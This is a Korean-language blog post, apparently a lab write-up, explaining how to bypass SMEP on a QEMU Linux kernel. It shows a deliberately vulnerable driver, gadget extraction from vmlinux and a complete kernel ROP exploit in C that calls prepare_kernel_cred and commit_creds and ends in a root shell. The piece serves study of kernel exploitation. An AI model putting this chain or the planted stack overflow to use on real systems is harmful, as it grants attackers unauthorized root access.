[Research] Linux Kernel Exploit - Bypassing SMEP

[Research] Linux Kernel Exploit - Bypassing SMEP

서론

해당 포스트에서는 Linux Kernel Basic 시리즈의 정보를 기반으로 하여 리눅스 커널에 적용되어 있는 보호기법(mitigation)을 하나씩 우회하여 공격하는 과정을 포스트하려고 한다. 해당 포스트에서는 SMEP 보호기법을 주제로 하여 해당 보호기법이 어떠한 보호기법인지 이해하고 이를 우회하여 공격하는 방법을 작성하려고 한다.



SMEP

SMEP(Supervisor Mode Execution Prevention)은 supervisor mode(ring0)에서 특정 주소에 있는 명령어를 fetch할 경우 해당 주소가 만약 user mode(ring3)에서 접근가능한 주소라면 fetch하지 않게 하는 보호기법이다.

단순한 정의를 내리는 것에 갇히지 않고 내가 이해한 내용으로 해당 기법을 작성하면 SMEP은 유저영역에 NX bit와 유사하다는 느낌이 들었다. 지난 포스팅에서는 페이로드가 디바이스 드라이버를 제어하는 코드에 있었다. SMEP이 적용되어 있다면 다음과 같은 형태의 공격은 불가능하다.

qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
/ $ ls
bin      etc      init     linuxrc  root     sys      tmp
dev      exp      lib      proc     sbin     test.ko  usr
/ $ ./exp 
[    4.728265] unable to execute userspace code (SMEP?) (uid: 1000)
[    4.729769] BUG: unable to handle page fault for address: 0000000000400c54
[    4.733079] #PF: supervisor instruction fetch in kernel mode
[    4.734208] #PF: error_code(0x0011) - permissions violation
[    4.735407] PGD 1d954067 P4D 1d954067 PUD 1d958067 PMD 1d94c067 PTE 1dc30025
[    4.737038] Oops: 0011 [#1] SMP NOPTI
[    4.738022] CPU: 0 PID: 70 Comm: exp Tainted: G           O      5.8.5 #1
[    4.738838] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[    4.739732] RIP: 0010:0x400c54
[    4.740234] Code: Bad RIP value.
[    4.740527] RSP: 0018:ffffc9000019feb8 EFLAGS: 00000246
[    4.740937] RAX: 0000000000400c54 RBX: 0000000000000008 RCX: 0000000000000000
[    4.741387] RDX: 0000000000000000 RSI: 00007ffe415d0348 RDI: ffffc9000019fec8
[    4.741846] RBP: ffff88801d91e900 R08: 0000000000400c54 R09: 0000000000000000
[    4.742300] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000
[    4.742802] R13: 0000000000000008 R14: ffffc9000019ff10 R15: 00007ffe415d0340
[    4.743299] FS:  00000000018a3880(0000) GS:ffff88801f200000(0000) knlGS:0000000000000000
[    4.743928] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    4.744355] CR2: 0000000000400c54 CR3: 000000001d972000 CR4: 00000000001006f0
[    4.744946] Call Trace:
[    4.746173]  ? test_write+0x32/0x50 [test]
[    4.747038]  ? vfs_write+0xc2/0x1f0
[    4.747557]  ? ksys_write+0x5a/0xd0
[    4.751948]  ? do_syscall_64+0x3e/0x70
[    4.753504]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[    4.754301] Modules linked in: test(O)
[    4.755895] CR2: 0000000000400c54
[    4.758935] ---[ end trace 5a1c612f112c704d ]---
[    4.759909] RIP: 0010:0x400c54
[    4.760269] Code: Bad RIP value.
[    4.760478] RSP: 0018:ffffc9000019feb8 EFLAGS: 00000246
[    4.760915] RAX: 0000000000400c54 RBX: 0000000000000008 RCX: 0000000000000000
[    4.761419] RDX: 0000000000000000 RSI: 00007ffe415d0348 RDI: ffffc9000019fec8
[    4.761869] RBP: ffff88801d91e900 R08: 0000000000400c54 R09: 0000000000000000
[    4.762291] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000
[    4.762884] R13: 0000000000000008 R14: ffffc9000019ff10 R15: 00007ffe415d0340
[    4.763462] FS:  00000000018a3880(0000) GS:ffff88801f200000(0000) knlGS:0000000000000000
[    4.763968] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    4.764323] CR2: 0000000000400c54 CR3: 000000001d972000 CR4: 00000000001006f0
[    4.764956] Kernel panic - not syncing: Fatal exception
[    4.766565] Kernel Offset: disabled
[    4.767284] Rebooting in 1 seconds..
qemu-system-x86_64: Trying to execute code outside RAM or ROM at 0x0000000081400220
This usually means one of the following happened:

(1) You told QEMU to execute a kernel for the wrong machine type, and it crashed on startup (eg trying to run a raspberry pi kernel on a versatilepb QEMU machine)
(2) You didn't give QEMU a kernel or BIOS filename at all, and QEMU executed a ROM full of no-op instructions until it fell off the end
(3) Your guest kernel has a bug and crashed by jumping off into nowhere

This is almost always one of the first two, so check your command line and that you are using the right type of kernel for this machine.
If you think option (3) is likely then you can try debugging your guest with the -d debug options; in particular -d guest_errors will cause the log to include a dump of the guest register state at this point.

Execution cannot continue; stopping here.

다음과 같이 smep이 적용된 리눅스 환경에서 유저영역에서의 페이로드를 실행시킬 경우 다음과 같은 문제가 발생한다.


SMEP은 CPU의 CR4 Register의 SMEP에 해당하는 부분의 비트를 키거나 끔으로 적용이 가능하다. 그렇다면 다음과 같은 생각을 할 수 있다. 세상이 그렇게 간단하진 않지만 공격자가 CR4 레지스터의 원하는 부분을 제어(control)할 수 있다면 SMEP을 우회할 수 있지 않을까라는 생각을 했었고 자료조사 결과 실제로 이러한 공격기법을 이용할 수 있다는 결론를 얻었다. 하지만 해당 포스트에서는 보다 범용적인 Kernel기반의 ROP를 이용해서 우회할 예정이다.

백문이 불여일격, 실제 바이너리를 통해 해당 공격을 적용해보겠다.



환경분석

start.sh

qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd  ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
-cpu qemu64,smep \

부팅 스크립트의 경우 다음과 같은 형태로 작성되어 있다. 확인해야 하는 부분은 해당 포스트의 목적은 SMEP우회를 주목적으로 하기에 KASLR을 비활성화 해두었으며 CPU 옵션에는 SMEP이 적용되어 있는 것을 확인할 수 있다.



바이너리 분석

디바이스 드라이버 소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <linux/input.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/miscdevice.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/string.h>

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("SAMPLE");

static ssize_t test_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos);

struct file_operations test_fops = {
.write = test_write,
};

static struct miscdevice test_driver = {
.minor = MISC_DYNAMIC_MINOR,
.name = "test",
.fops = &test_fops,
};

static ssize_t test_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) {
char arr[8] = { [0 ... 7] = 0 };
char *ptr;

ptr = (char *)kmalloc(count, GFP_KERNEL);

copy_from_user(ptr, buf, count);
memcpy(arr, ptr, count);

printk("arr : %x", arr[count-1]); // prevent undefined behavior

return 0;
}


static int test_init(void) {
int result;

result = misc_register(&test_driver);

return 0;
}

static void test_exit(void) {
misc_deregister(&test_driver);
}

module_init(test_init);
module_exit(test_exit);

해당 소스코드의 경우 공격 벡터(attack vector)가 될 수 있는 디바이스 드라이버 파일의 소스코드이다. 소스코드를 확인해볼 경우 file_operations 구조체 내부에서 write 시스템 콜에 대응하는 동작들을 정의하고 있다.

디바이스 드라이버 파일을 토대로 write 시스템 콜을 호출하게 될 경우 test_write() 함수가 실행된다. 해당 함수가 실행될 경우 line30~line33에 의하여 커널에서 메모리를 동적할당한 후 유저영역에서의 메모리를 해당 데이터의 크기만큼 복사하는 것을 확인할 수 있다.

이를 고려해보면 사용자가 입력한 데이터(untrusted input)의 크기를 제한하지 않는 문제로 인해서 스택 버퍼기반의 오버플로우가 발생할 것으로 예상된다.



취약점 분석

바이너리 분석에서 사용자의 입력으로 부터 실행흐름을 변조할 가능성이 있음을 확인하였다. 해당 디바이스 드라이버를 토대로 write 시스템 콜이 호출되게 될 경우 디바이스 드라이버의 경우 사용자의 입력(untrusted input)이 버퍼 오버플로우를 발생시키기 때문이다. 예상한 결과가 맞는가에 대해서 확인해볼 필요가 있다.


공격 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//gcc -masm=intel -static -o exp exp.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>


int main() {
int fd;

fd = open("/dev/test", O_RDWR);


// STEP1. Generate Payload
size_t payload[18] = {0, };

memset(payload, 0x41, 8);
memset(payload+1, 0x42, 8);
memset(payload+2, 0x43, 8);
memset(payload+3, 0x44, 8);
memset(payload+4, 0x45, 8);
memset(payload+5, 0x46, 8);
memset(payload+6, 0x47, 8);
memset(payload+7, 0x48, 8);
memset(payload+9, 0x49, 8);


// STEP2. Exploit
write(fd, payload, sizeof(payload));

close(fd);

return 0;
}

디바이스 드라이버를 제어하는 코드를 작성하였다. 버퍼에 데이터를 어느정도 작성해야 Return Address를 컨트롤 할 수 있는가를 파악하기 위해서 연속적인 형태의 입력인 “AAA…ABBB.B…”를 입력하였다. 만약 RIP가 해당 입력값 중 하나의 값으로 변조된다면 이는 사용자의 입력으로 실행흐름을 변조할 수 있는 취약점으로 볼 수 있다. 참고로 스택 카나리는 비활성화 상태이다.

공격 결과

qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
/ $ ./exploit 
[    5.999472] arr : 0
[    5.999788] general protection fault: 0000 [#1] SMP NOPTI
[    6.001957] CPU: 0 PID: 70 Comm: exploit Tainted: G           O      5.8.5 #1
[    6.006606] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[    6.009067] RIP: 0010:0x4545454545454545
[    6.010246] Code: Bad RIP value.
[    6.010565] RSP: 0018:ffffc9000019fed8 EFLAGS: 00000246
[    6.011006] RAX: 0000000000000000 RBX: 4242424242424242 RCX: 0000000020727261
[    6.011471] RDX: 4141414141414141 RSI: ffffffff82b2bba0 RDI: ffffffff82b2bfa0
[    6.011960] RBP: 4343434343434343 R08: 0000000030203a20 R09: 0000000000000007
[    6.012544] R10: 0000000000000046 R11: ffffffff82b2bba7 R12: 4444444444444444
[    6.013009] R13: 0000000000000090 R14: ffffc9000019ff10 R15: 00007fff970c7710
[    6.013527] FS:  0000000000d43880(0000) GS:ffff88801ee00000(0000) knlGS:0000000000000000
[    6.014132] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    6.014516] CR2: 000000000045a040 CR3: 000000001d10e000 CR4: 00000000001006f0
[    6.015070] Call Trace:
[    6.015986]  ? do_syscall_64+0x3e/0x70
[    6.016964]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[    6.017975] Modules linked in: test(O)
[    6.019737] ---[ end trace 543408c634e8da58 ]---
[    6.024399] RIP: 0010:0x4545454545454545
[    6.024920] Code: Bad RIP value.
[    6.026318] RSP: 0018:ffffc9000019fed8 EFLAGS: 00000246
[    6.026874] RAX: 0000000000000000 RBX: 4242424242424242 RCX: 0000000020727261
[    6.027339] RDX: 4141414141414141 RSI: ffffffff82b2bba0 RDI: ffffffff82b2bfa0
[    6.028103] RBP: 4343434343434343 R08: 0000000030203a20 R09: 0000000000000007
[    6.029610] R10: 0000000000000046 R11: ffffffff82b2bba7 R12: 4444444444444444
[    6.030238] R13: 0000000000000090 R14: ffffc9000019ff10 R15: 00007fff970c7710
[    6.030691] FS:  0000000000d43880(0000) GS:ffff88801ee00000(0000) knlGS:0000000000000000
[    6.031616] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    6.032050] CR2: 000000000045a040 CR3: 000000001d10e000 CR4: 00000000001006f0
[    6.032733] Kernel panic - not syncing: Fatal exception
[    6.033544] Kernel Offset: disabled
[    6.034313] Rebooting in 1 seconds..
qemu-system-x86_64: Trying to execute code outside RAM or ROM at 0x0000000081400220
This usually means one of the following happened:

(1) You told QEMU to execute a kernel for the wrong machine type, and it crashed on startup (eg trying to run a raspberry pi kernel on a versatilepb QEMU machine)
(2) You didn't give QEMU a kernel or BIOS filename at all, and QEMU executed a ROM full of no-op instructions until it fell off the end
(3) Your guest kernel has a bug and crashed by jumping off into nowhere

This is almost always one of the first two, so check your command line and that you are using the right type of kernel for this machine.
If you think option (3) is likely then you can try debugging your guest with the -d debug options; in particular -d guest_errors will cause the log to include a dump of the guest register state at this point.

Execution cannot continue; stopping here.

해당 결과를 통해 RIP가 0x4545454545454545로 변조되었음을 확인할 수 있었고 해당 값은 사용자가 입력할 버퍼의 32만큼의 입력한 뒤의 값이다. 그러므로 payload[4]에 값을 작성할 경우 해당 값으로 실행흐름을 변조할 수 있다.



취약점 공격

분석과정을 통해 사용자의 입력(untrusted input)을 통해 실행흐름을 변조할 수 있음을 확인하였다. 이러한 정보들을 토대로 공격자에게 유의미한 형태의 공격이 될 수 있도록 어떠한 형태로 공격을 진행할 것인가에 대해서 시나리오를 작성하겠다.

가장 파급력있고 공격자에게 자유도가 높은 방법은 리눅스(linux) 기반의 커널을 공격하는 것이기에 루트 권한의 쉘(shell)을 획득하는 것으로 볼 수 있다. 다음과 같은 공격이 이루어지기 위해서는 우선적으로 진행되어야 하는 것이 유저 권한을 루트 권한으로 상승(권한 상승)을 일으켜야 한다.

공격 시나리오

STEP1. commit_creds(prepare_kernel_cred(0))을 통한 권한 상승
STEP2. 사용자 모드(user mode)로의 전환
STEP3. shell 획득

다음의 시나리오는 SMEP이 적용되어 있지 않은 일반적인 형태의 공격(exploit)과 유사하다. Memory Randomization이 적용되어 있지 않기 때문에 실행시키고자 하는 함수인 commit_creds(), prepare_kernel_cred()를 하드코딩하여 값을 작성해도 된다.

여기서 고려해야하는 사항은 슈퍼바이저 모드(ring0)에서 유저영역의 payload를 실행할 수 없기 때문에 권한 상승을 commit_creds(prepare_kernel_cred(0)) 일으킨 후 유저 모드로 전환하는 과정을 커널에서 진행해야 한다. 결과적으로 이러한 과정은 Kernel ROP를 통해 ROP Payload에서 수행할 수 있다.

가젯 구성

Linux 64bit - calling convention

ROP Payload를 작성하기에 앞서 commit_creds()와 prepare_kernel_cred(NULL)을 수행해야 하기에 현재의 아키텍쳐(intel x86/64)에서 함수 호출규약을 확인해볼 필요가 있다. 함수를 호출할 인자가 RDI, RSI, RDX, RCX, R8, R9, stack을 기반으로 하여 전달되는 것을 확인할 수 있다. 그리고 상단의 그림에서는 언급되어 있지 않지만 prepare_kernel_cred() 함수의 반환값의 경우는 RAX에 담긴다. 이러한 과정을 통해서 가젯을 구성할 수 있다.


prepare_kernel_cred() [RDI:0]
mov rdi, rax
commit_creds() [RDI: 결과값]
swapgs
iretq

대략적으로 다음과 같은 형태로 명령어가 수행되어야 한다. prepare_kernel_cred()를 호출할 경우 첫 번째 인자인 RDI의 경우 0(NULL)로 세팅되어 있어야 하며 해당 함수의 반환값이 commit_creds() 함수의 첫 번째인자로 구성되어야 한다. 이후 다시 유저모드의 전환이 일어나야 한다.

가젯 추출

$ objdump -M intel -d vmlinux | grep -a1 "pop    rdi" | grep -a2 "ret"
ffffffff813fb9bb:    5a                       pop    rdx
ffffffff813fb9bc:    5f                       pop    rdi
ffffffff813fb9bd:    c3                       ret     

$ ROPgadget --binary vmlinux | grep "mov rdi, rax"
0xffffffff82a081f0 : mov rdi, rax ; rep movsd dword ptr [rdi], dword ptr [rsi] ; ret
0xffffffff81132ad8 : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; jmp 0xffffffff81132970
0xffffffff81b2413b : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret

$ objdump -M intel -d vmlinux | grep -a1 "pop    rcx" | grep -a2 "ret"
ffffffff81057091:    8b 44 24 04              mov    eax,DWORD PTR [rsp+0x4]
ffffffff81057095:    59                       pop    rcx
ffffffff81057096:    c3                       ret    
--
ffffffff8105c7bb:    e8 20 fd ff ff           call   0xffffffff8105c4e0
--
ffffffff8119a9f1:    5a                       pop    rdx
ffffffff8119a9f2:    59                       pop    rcx
ffffffff8119a9f3:    c3                       ret    
--
ffffffff8119ab2b:    5a                       pop    rdx
--
ffffffff8119acd6:    5a                       pop    rdx
ffffffff8119acd7:    59                       pop    rcx
ffffffff8119acd8:    c3                       ret   

$ ROPgadget --binary vmlinux | grep "swapgs"
0xffffffff81c00f57 : nop ; swapgs ; ret

$ objdump -M intel -d vmlinux | grep -a1 "iretq"
ffffffff810252ad:    68 b4 52 02 81           push   0xffffffff810252b4
ffffffff810252b2:    48 cf                    iretq  
ffffffff810252b4:    c3                       ret 

다음과 같은 형태로 vmlinux에서 공격 페이로드를 구성할 가젯을 추출할 수 있었다. 중간에 언급하지 않았던 pop rcx 가젯을 추출하였는 데, 해당 이유는 rep movsq qword ptr [rdi], qword ptr [rsi] 다음의 명령어 때문이다. 해당 명령어는 rsi에 있는 데이터를 rdi에 복사하는 형태의 명령어이며 반복횟수는 rcx 명령어로 결정된다. 그러므로 해당 명령어를 유효하지 않게 하기 위해서는 rcx를 0으로 세팅할 필요가 있다.


공격코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>

struct register_val {
uint64_t user_rip;
uint64_t user_cs;
uint64_t user_rflags;
uint64_t user_rsp;
uint64_t user_ss;
} __attribute__((packed));

struct register_val rv;

void backup_rv(void) {
asm("mov rv+8, cs;"
"pushf; pop rv+16;"
"mov rv+24, rsp;"
"mov rv+32, ss;"
);
}

void shell() {
execl("/bin/sh", "sh", NULL);
}

int main() {
int fd;
size_t rop[18] = {0, };

void *commit_creds = 0xffffffff8108e9f0;
void *prepare_kernel_cred = 0xffffffff8108ec20;

printf("[+] EXPLOIT!\n");
fd = open("/dev/test", O_RDWR);
printf(" open file /dev/test\n");

backup_rv();

memset(rop, 0x41, 40);
rop[4] = 0xffffffff813fb9bc;
rop[5] = 0;
rop[6] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop[7] = 0xffffffff813f4ef2;
rop[8] = 0;
rop[9] = 0xffffffff81b241f0;
rop[10] = commit_creds; // commit_creds()
rop[11] = 0xffffffff81c00f58; // swapgs; ret;
rop[12] = 0xffffffff810252b2; // iretq; ret;
rop[13] = &shell;
rop[14] = rv.user_cs;
rop[15] = rv.user_rflags;
rop[16] = rv.user_rsp;
rop[17] = rv.user_ss;

printf(" write payload\n");

printf(" attack device driver\n");
write(fd, rop, sizeof(rop));


close(fd);

return 0;
}

공격결과

qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
/ $ whoami
user
/ $ ./exploit 
[+] EXPLOIT!
    open file /dev/test
    write payload
    attack device driver
/ # whoami
root



참고

b30w0lf님의 운영체제(Operating System)
DREAMHACK - Linux Kernel Exploit
INFLEARN - 리눅스 커널 해킹. A부터 Z까지
https://www.lazenca.net/pages/viewpage.action?pageId=25624859
https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/linux-x64-calling-convention-stack-frame



한줄평

I'll tell you all about it when i see you again. Rest in peace.